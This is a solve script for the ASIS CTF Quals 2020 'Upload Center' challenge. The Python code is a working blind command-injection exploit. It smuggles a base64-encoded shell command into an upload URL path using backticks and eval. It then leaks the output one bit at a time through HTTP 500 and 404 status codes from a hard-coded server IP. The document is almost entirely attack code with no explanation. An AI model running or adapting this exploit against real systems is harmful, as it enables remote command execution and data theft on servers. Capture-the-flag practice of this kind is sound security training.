ASIS CTF Quals 2020 - Upload Center

solve.py

import base64
import requests
import time

COMMAND = 'ls'

###

result = ''
i = len(result) + 1
while True:
  c = 0
  for j in range(7):
    while True:
      url = '''http://66.172.12.177:5100/uploads/52277648bbf448168b31cd89bdbe90ab;x=`eval%20$(echo%20'COMMAND'|base64%20-d)`;a=$(printf%20'%25d'%20%5C'`echo%20$x|base64|tr%20-d%20'%5Cn'|cut%20-bAAAAA`);exit%20$((a&BBBBB))/x'''.replace('COMMAND', base64.b64encode(COMMAND.encode()).decode()).replace('AAAAA', str(i)).replace('BBBBB', str(1<<j))

      req = requests.get(url)
      time.sleep(.8)

      if req.status_code == 500:
        break
      elif req.status_code == 404:
        c |= 1 << j
        break
      else:
        print('wtf')

  result += chr(c)
  print(result)

  i += 1